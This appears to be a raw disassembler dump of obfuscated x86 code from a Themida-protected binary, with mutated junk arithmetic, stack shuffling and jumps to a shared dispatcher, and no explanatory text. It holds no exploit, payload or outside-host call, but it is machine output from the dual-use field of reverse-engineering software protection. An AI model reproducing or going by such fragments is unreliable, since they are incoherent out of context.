Themida_:0058D3A1j pop edi sub esi, 484D4425h jmp loc_595F92 ; --------------------------------------------------------------------------- loc_592A7A: ; CODE XREF: Themida_:00595476j mov ebp, [esp] jmp loc_596266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592A82: ; CODE XREF: sub_5916C4+742j mov ebp, 15AF34A5h xor ebp, 732957FCh sub eax, 2DFA0828h jmp loc_5937E0 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_592A97: ; CODE XREF: Themida_:005976E6j xor ecx, 403927B5h and ecx, 2D5A159Eh add ecx, 0DCF749ECh add ebx, ecx pop ecx add ebx, ebp sub ebx, 1114E88h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor ebx, 106B25FBh add ecx, ebx jmp loc_597C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592AD7: ; CODE XREF: sub_5EC2E8-561E4j pop edx add eax, edi sub eax, 24E66FABh pop edi jmp loc_58F22F ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_592AE5: ; CODE XREF: Themida_:0058DA8Bj sub eax, edx jmp loc_5951DB ; --------------------------------------------------------------------------- loc_592AEC: ; CODE XREF: Themida_:00590BE9j add edx, 36D13125h add edx, 2E7109CFh mov eax, edx pop edx jmp loc_58AEB8 ; --------------------------------------------------------------------------- loc_592B00: ; CODE XREF: Themida_:0059759Cj pop ebx sub ebp, 4CBF5092h xor eax, ebp pop ebp push ebp mov ebp, 0D4411BDh push ebp mov ebp, 26905CA7h push eax mov eax, 454A6973h xor eax, 0BA4E88BCh add ebp, eax jmp loc_593796 ; --------------------------------------------------------------------------- loc_592B28: ; CODE XREF: Themida_:00596F81j add eax, 4 push edi mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_58F2B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592B57: ; CODE XREF: sub_5916C4+572Dj add esp, 4 push edi sub [esp-8+arg_4], 307A4C27h pop edx add edx, 307A4C27h push [esp-0Ch+arg_8] mov edi, [esp-8+arg_4] jmp loc_593925 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E3A6 loc_592B77: ; CODE XREF: sub_58E3A6-1742j mov ecx, 10930B62h add edx, 64636A58h jmp loc_591984 ; END OF FUNCTION CHUNK FOR sub_58E3A6 ; --------------------------------------------------------------------------- loc_592B87: ; CODE XREF: Themida_:00594A54j push eax mov eax, 404916D3h sub eax, 661C3656h push ebp jmp loc_594688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592B98: ; CODE XREF: sub_5EC2E8-561B4j pop eax xchg edx, [esp+16h+var_16] jmp loc_594290 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592BA1: ; CODE XREF: Themida_:0058C64Ej ; Themida_:00592487j ... shr ebp, 2 jmp loc_58B132 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_592BA9: ; CODE XREF: sub_595E21-2F8Bj pop eax mov edi, ecx jmp loc_58C2C5 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_592BB1: ; CODE XREF: Themida_:00590E09j push dword ptr [esp] pop ebx add esp, 4 jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_592BC0: ; CODE XREF: Themida_:005947C4j pop ecx sub bl, 2Dh movzx eax, al push dword ptr [edi+eax*4] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_592BCF: ; CODE XREF: sub_5916CB-2300j mov ebx, 0 add ebx, edx jmp loc_595DF6 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_592BDB: ; CODE XREF: sub_595123+2B3Dj pop eax push ebx jmp loc_593289 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_592BE2: ; CODE XREF: Themida_:0058CF60j mov dh, 0FEh add dh, 1Dh add dh, bl sub dh, 1Dh pop ebx push cx mov cl, 36h add bh, cl pop cx add bh, dh sub bh, 36h mov dx, [esp] add esp, 2 not bh inc bh add bh, 8Ah xor al, bh mov ebx, [esp] jmp loc_597E1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592C12: ; CODE XREF: sub_5916C4+51B2j or dh, 53h sub dh, 27h jmp loc_5967C2 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_592C1D: ; CODE XREF: Themida_:005970BAj pop ecx add ecx, 4 sub ecx, 2 push ecx push dword ptr [esp+4] pop ecx jmp loc_594312 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_592C35: ; CODE XREF: sub_590010+575Ej push eax mov eax, 451B6CF4h sub edi, 770E5CE1h add edi, eax add edi, 770E5CE1h pop eax push ebx push edi jmp loc_58DDD5 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_592C51: ; CODE XREF: Themida_:00593D5Dj add esp, 4 push ebp mov ebp, 0 sub ebp, ebx xchg ebp, ebx pop ebp xor ebx, 39A8EA96h add edi, ebx pop ebx jmp loc_58B185 ; --------------------------------------------------------------------------- loc_592C70: ; CODE XREF: Themida_:00596574j xor edx, 14706BF4h add edi, edx pop edx add edi, 4 xchg edi, [esp] jmp loc_5921A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_592C84: ; CODE XREF: sub_5916CB+5543j xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx mov eax, [esp+4+var_4] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] pop esp push 3A5Ah mov [esp+8+var_8], edx jmp loc_58E25F ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592CAD: ; CODE XREF: sub_590467+403Bj pop esp push esi mov esi, esp add esi, 4 push ecx mov ecx, 4FF244DEh and ecx, 30932247h shr ecx, 7 jmp loc_595B5C ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_592CCB: ; CODE XREF: Themida_:00597509j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esi, ebp jmp loc_59652C ; --------------------------------------------------------------------------- loc_592CE2: ; CODE XREF: Themida_:0058B6D2j add edi, 2 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_58BFE8 ; --------------------------------------------------------------------------- loc_592CF6: ; CODE XREF: Themida_:0058DE6Cj dec esi dec esi sub esi, 0FF3AB2E9h add edx, esi pop esi push ebx push eax jmp loc_58FE4F ; --------------------------------------------------------------------------- loc_592D08: ; CODE XREF: Themida_:0058D813j mov esi, 22800FDDh jmp loc_595C2C ; =============== S U B R O U T I N E ======================================= sub_592D12 proc near ; CODE XREF: sub_58F5B5+6647j arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058A7ED SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058C16D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058C927 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058CD20 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058E11C SIZE 0000000A BYTES push ebp jmp loc_58A7ED sub_592D12 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_592D18: ; CODE XREF: Themida_:0058AB69j add ax, bx push edx mov dx, 5B5Fh jmp loc_590C73 ; =============== S U B R O U T I N E ======================================= sub_592D25 proc near ; CODE XREF: sub_58C17E+732Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0058A4CF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058A4EA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058C149 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058C963 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058DE8C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E72E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058E80A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058EDC9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058F47E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058F5ED SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058F755 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FE60 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059042B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00590522 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005908B3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00590C5E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591130 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00591162 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591D30 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005923AC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00592438 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00592553 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00592D45 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005930F5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005936EB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005937B2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005946F3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00595804 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005959BE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00597B43 SIZE 00000014 BYTES push ebp push edx push ebx push eax mov eax, 22CE577Bh sub [esp+4], eax pop eax pop edx add edx, 22CE577Bh push eax mov eax, edx mov ebp, eax pop eax jmp loc_58F5ED sub_592D25 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_592D45: ; CODE XREF: sub_592D25-1BE1j pop ebp dec ebp jno loc_5946F3 jmp loc_595BE2 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- mov ebx, esp mov bl, 0D5h loc_592D57: ; CODE XREF: Themida_:0058D345j add eax, 25CB2E99h add eax, ebx jmp loc_596667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592D63: ; CODE XREF: sub_5916C4-588Dj mov ebx, [esp-12h+arg_C+2] add esp, 4 push eax jmp loc_5977C3 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_592D6F: ; CODE XREF: Themida_:0058E0BFj mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_593171 ; --------------------------------------------------------------------------- loc_592D80: ; CODE XREF: Themida_:00592DAEj push ecx mov ecx, 1F2666DCh and ecx, 62BE305Dh jmp loc_59461B ; --------------------------------------------------------------------------- loc_592D91: ; CODE XREF: Themida_:00595EE8j add esp, 4 push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_592D80 ; --------------------------------------------------------------------------- loc_592DB3: ; CODE XREF: Themida_:0058A52Bj xor eax, 343C3081h inc eax neg eax sub eax, 0D65EC330h add ebx, eax pop eax push 30E7h jmp loc_58AC08 ; --------------------------------------------------------------------------- loc_592DCD: ; CODE XREF: Themida_:0058B66Aj mov cl, 1 sub cl, 1 jmp loc_58D164 ; --------------------------------------------------------------------------- loc_592DD7: ; CODE XREF: Themida_:loc_597467j jmp loc_597FB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592DDC: ; CODE XREF: sub_5916C4+889j add edi, 13014DF9h jmp loc_5913A4 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_592DE7: ; CODE XREF: Themida_:00592A07j not edx jmp loc_58ACA3 ; --------------------------------------------------------------------------- loc_592DEE: ; CODE XREF: Themida_:0058AA2Bj ; Themida_:loc_5922B8j sub esi, 1E6C006Fh pop ebx shl esi, 8 xor esi, edi jmp loc_592694 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592DFF: ; CODE XREF: sub_5916C4-1A20j shr edi, 6 jmp loc_58B5F8 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59338C loc_592E07: ; CODE XREF: sub_59338C+1Dj sub [esp+4+var_4], 2E3970AFh jmp loc_58D4B8 ; END OF FUNCTION CHUNK FOR sub_59338C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592E13: ; CODE XREF: sub_58C17E+F2Bj pop esp sub esp, 4 mov [esp+0], ecx mov ecx, 2 sub esi, ecx jmp loc_596A94 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_592E29: ; CODE XREF: sub_58DBC4-123Fj xchg ebx, [esp+0] sub esp, 4 mov [esp+0], ebx not dword ptr [esp+0] pop ebx xchg ebx, [esp+0] mov eax, [esp+0] push esi jmp loc_594466 ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; --------------------------------------------------------------------------- loc_592E42: ; CODE XREF: Themida_:0058E1DFj pop edi pop eax add eax, 17022448h jmp loc_58EEE6 ; --------------------------------------------------------------------------- loc_592E4E: ; CODE XREF: Themida_:0058F391j pop si push small 5519h mov [esp], bp push ecx jmp loc_597DBC ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5904B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BA12 loc_592E67: ; CODE XREF: sub_58BA12+8501j mov ebp, [esp+0] jmp loc_58C2F9 ; END OF FUNCTION CHUNK FOR sub_58BA12 ; --------------------------------------------------------------------------- loc_592E6F: ; CODE XREF: Themida_:00594315j mov esp, [esp] mov [esp], si not word ptr [esp] jmp loc_596629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_592E7F: ; CODE XREF: sub_5916CB-2CA7j and eax, ebp jmp loc_58A946 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_592E86: ; CODE XREF: Themida_:0059021Ej push 44AB323Ah pop ebp xor ebp, eax pop eax jmp loc_58EBCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_592E94: ; CODE XREF: sub_595E21-5E34j xor ecx, eax jmp loc_592BA9 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_592E9B: ; CODE XREF: sub_590010+138Fj add esp, 4 push eax mov eax, 16363E2Ch add eax, 42DDEC27h add ecx, 277416BDh add ecx, eax sub ecx, 277416BDh mov eax, [esp+4+var_4] add esp, 4 jmp loc_58A73F ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_592EC5: ; CODE XREF: sub_595258+1AA7j add edx, 0A5C016Ch mov edi, edx pop edx add ebp, edi mov edi, [esp+4+var_4] jmp loc_58F8F2 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592ED8: ; CODE XREF: sub_5EC2E8-5FE56j mov ebp, esp push ebx mov ebx, 69446953h jmp loc_58F508 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590E26 loc_592EE5: ; CODE XREF: sub_590E26-3B75j add ebx, ebp pop ebp xchg ebx, [esp+0] pop esp shr ecx, 7 push 6E84h mov [esp+0], esi jmp sub_5919E2 ; END OF FUNCTION CHUNK FOR sub_590E26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592EFC: ; CODE XREF: sub_5EC2E8-54C85j cmp cl, al pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_592F04: ; CODE XREF: sub_5916C4-249Aj ; sub_590010-883j sub ecx, 49AE3A1Ah sub ecx, eax push edi jmp loc_5964F6 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_592F12: ; CODE XREF: Themida_:00594160j add esp, 4 push edx mov edx, 2 add esi, edx mov edx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_592F38: ; CODE XREF: Themida_:00590759j mov cx, 6D07h sub [esp+4], cx pop cx jmp loc_59451C ; --------------------------------------------------------------------------- loc_592F48: ; CODE XREF: Themida_:0058E157j xchg bl, dl push ebx push edx mov dh, 4Ch jmp loc_591481 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596CA1 loc_592F53: ; CODE XREF: sub_596CA1+5j inc bl xor bl, 0BFh sub dl, bl mov ebx, [esp+4+var_4] jmp loc_58C133 ; END OF FUNCTION CHUNK FOR sub_596CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592F62: ; CODE XREF: sub_58F5B5+2078j ; sub_58C17E+846Bj ... push 6F5B0DA5h pop ebx or ebx, 760E4BB8h jz loc_596F86 xor ebx, 703859EDh shr ebx, 7 jnz loc_592A43 xor ebx, 6B84F12Bh mov esi, ebx pop ebx push ecx loc_592F8D: ; CODE XREF: Themida_:0058C4CCj pop esp mov [esp+0], ebp push 7C11h jmp loc_58CEB9 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_592F9B: ; CODE XREF: Themida_:0058D9B0j push eax mov eax, 56774CF8h add ebp, eax pop eax jmp loc_58C82C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_592FB9: ; CODE XREF: Themida_:0058B544j mov [esp], ebp mov ebp, 6C142162h inc ebp push ebx mov ebx, 1DF62AB5h and ebx, 475B4451h shr ebx, 8 jmp loc_597A33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_592FD6: ; CODE XREF: sub_5916CB-3446j ; Themida_:00590300j inc eax and eax, 4FBE5081h xor eax, 0C381824Fh add edi, eax jmp loc_596139 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_592FE8: ; CODE XREF: sub_58F5B5+801Fj ; sub_597969+6j xor edx, 0A7079D3h pop ebx or [edi+1Ch], edx jmp loc_58C103 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_592FF7: ; CODE XREF: sub_595258-98B5j shl ecx, 5 inc ecx jmp loc_58F916 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593000: ; CODE XREF: sub_58C17E+1B14j pop edi push ecx mov ecx, 4C797903h shr ecx, 5 add ecx, 1A37A6D4h jmp loc_590D5E ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_593015: ; CODE XREF: Themida_:005930F0j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58E576 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593026: ; CODE XREF: sub_5916C4-599Ej jo sub_5966C1 push ebp mov ebp, 247D70B9h xor edi, ebp pop ebp add edi, 9A49F687h or edi, 65DC2AC7h shr edi, 3 xor edi, 434A9B9Eh push eax mov eax, 45B23FC3h shl eax, 5 and eax, 4E34376Ch add eax, 3DCC2498h add ecx, eax jmp loc_5929EC ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_593064: ; CODE XREF: Themida_:0058D971j sub esi, 7BF3BC75h xor edx, esi pop esi mov edi, edx pop edx sub edi, 6BB62C5Eh add edi, ebp jmp loc_58B87E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_59307D: ; CODE XREF: sub_595E21-3A7Aj xchg ebp, [esp+0] push dword ptr [esp+0] pop ebp add esp, 4 xor eax, ebp jmp loc_58D2E6 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_593091: ; CODE XREF: Themida_:005976C7j mov ebp, esp push edx mov edx, 7B0546E2h jmp loc_58B90C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59309E: ; CODE XREF: sub_5916C4+2433j jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5930A3: ; CODE XREF: Themida_:00594AF8j mov eax, 2 add edx, 0B1E6D1Dh add edx, eax sub edx, 0B1E6D1Dh pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5927B8 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58A5B9 ; --------------------------------------------------------------------------- loc_5930CE: ; CODE XREF: Themida_:00596533j pop dword ptr [esp] pop esp mul ecx sub esp, 4 mov [esp], eax push ebx mov ebx, esp jmp loc_59421F ; --------------------------------------------------------------------------- loc_5930E5: ; CODE XREF: Themida_:0058C6B7j mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_593015 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_5930F5: ; CODE XREF: sub_592D25-35CAj and eax, edi pop edi shr eax, 18h xor eax, ecx jmp loc_58E72E ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_593102: ; CODE XREF: Themida_:00595700j add ebp, edx push dword ptr [esp] pop edx add esp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_58D3A6 ; --------------------------------------------------------------------------- loc_593120: ; CODE XREF: Themida_:0058F6FFj sub ebx, 62F13810h add ebx, ebp add ebx, 62F13810h mov ebp, [esp] jmp loc_58BEA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_593136: ; CODE XREF: sub_58B4D6+7CDCj push [esp+0Ch+var_C] pop edi add esp, 4 push edx mov edx, esp add edx, 4 push ecx jmp loc_5910F4 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59314C: ; CODE XREF: sub_58F5B5+3BB7j push ecx jmp loc_5906BA ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5921D8 loc_593152: ; CODE XREF: sub_5921D8-4C9Dj jmp loc_5936E4 ; END OF FUNCTION CHUNK FOR sub_5921D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593157: ; CODE XREF: sub_58C17E+16F7j add ebp, ecx sub ebp, 24C13372h pop ecx jmp loc_593886 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_593165: ; CODE XREF: sub_58F5B5+775Aj pop edx add edx, 4 jmp loc_59314C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_593171: ; CODE XREF: Themida_:00592D7Bj xor ebx, eax movzx ax, byte ptr [eax] push 73D2h mov [esp], esi push 4AF6h mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], edi jmp loc_59435E ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_594246 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_5931A2: ; CODE XREF: sub_58B4D6+990Dj mov ebx, 6D5159B4h xor edi, ebx pop ebx xor edi, 3F9EF461h xor eax, edi jmp loc_593136 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_5931B7: ; CODE XREF: Themida_:0058E202j push edx mov edx, 2 add ecx, edx pop edx jmp loc_58AD0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5931C5: ; CODE XREF: sub_5916C4+C6Cj ; Themida_:0059379Fj sub edx, 542535BEh pop ebp sub edx, ebp sub edx, 25953E76h mov ebp, [esp-8+arg_4] add esp, 4 jmp loc_595E8C ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5931E2: ; CODE XREF: sub_58C17E-32Aj add ecx, ebx sub ecx, 4E817D08h pop ebx sub ecx, 1BFB40A4h add ecx, edi push eax mov eax, 3B3522FFh shl eax, 2 jmp loc_58E7C2 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_593201: ; CODE XREF: Themida_:00595D48j xor ebx, 1420EEh mov ecx, ebx pop ebx add edi, 4E9335EAh jmp loc_58E06E ; --------------------------------------------------------------------------- loc_593215: ; CODE XREF: Themida_:00594256j mov dh, ah mov eax, [esp] jmp loc_5943D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_59321F: ; CODE XREF: sub_595E21-1DDEj mov edx, [esp-4+arg_0] add esp, 4 push [esp-8+arg_4] pop esi add esp, 4 jmp loc_5945F8 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_593237: ; CODE XREF: Themida_:0058D19Cj push esi jmp loc_58C61C ; --------------------------------------------------------------------------- loc_59323D: ; CODE XREF: Themida_:005961DAj pop edi neg edx push edx not dword ptr [esp] pop edx neg edx push eax mov eax, 4BE43252h xor eax, 48378EFh add eax, 804A50E7h jmp loc_58D8A5 ; --------------------------------------------------------------------------- loc_59325C: ; CODE XREF: Themida_:0058F3FBj jmp loc_59653F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E980 loc_593261: ; CODE XREF: sub_58E980+17Dj add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] pop esp jmp loc_58DDBC ; END OF FUNCTION CHUNK FOR sub_58E980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_593273: ; CODE XREF: sub_590010+1241j push edi jmp loc_58D484 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_593279: ; CODE XREF: Themida_:00596A8Fj mov bh, 0F1h xor bh, ch pop ecx add al, 20h add al, bh sub al, 20h jmp loc_58B89C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_593289: ; CODE XREF: sub_595123-2546j mov ebx, esp add ebx, 4 push ecx mov ecx, esp jmp loc_58DF3A ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593299: ; CODE XREF: sub_58C17E:loc_58CBB7j shl ebx, 2 jz loc_58C41D sub ebx, 52F96193h jmp loc_5948AC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5932AD: ; CODE XREF: Themida_:0058E68Cj mov eax, esp jmp loc_5901B5 ; --------------------------------------------------------------------------- loc_5932B4: ; CODE XREF: Themida_:0059477Fj mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_5927EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_5932C5: ; CODE XREF: sub_595E21-7E0j sub ebx, 0FFFDBA48h jmp loc_59125D ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_5932DF: ; CODE XREF: Themida_:00590F93j mov esi, 19AF2C1Ch mov ebp, esi pop esi add edi, ebp pop ebp jmp loc_58B509 ; --------------------------------------------------------------------------- loc_5932EF: ; CODE XREF: Themida_:0058F56Dj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ebx push 65B8h mov [esp], ebp mov ebp, 21427A4Ah shr ebp, 6 shr ebp, 8 push ecx push eax mov eax, 762B133Ah shl eax, 1 jmp loc_59005F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_593320: ; CODE XREF: Themida_:00591DE0j ; sub_59524C-615j push edi mov edi, 1E894B47h or edi, 714C55F1h shl edi, 8 not edi neg edi sub edi, 4DF82AD0h push ecx mov ecx, 41495911h 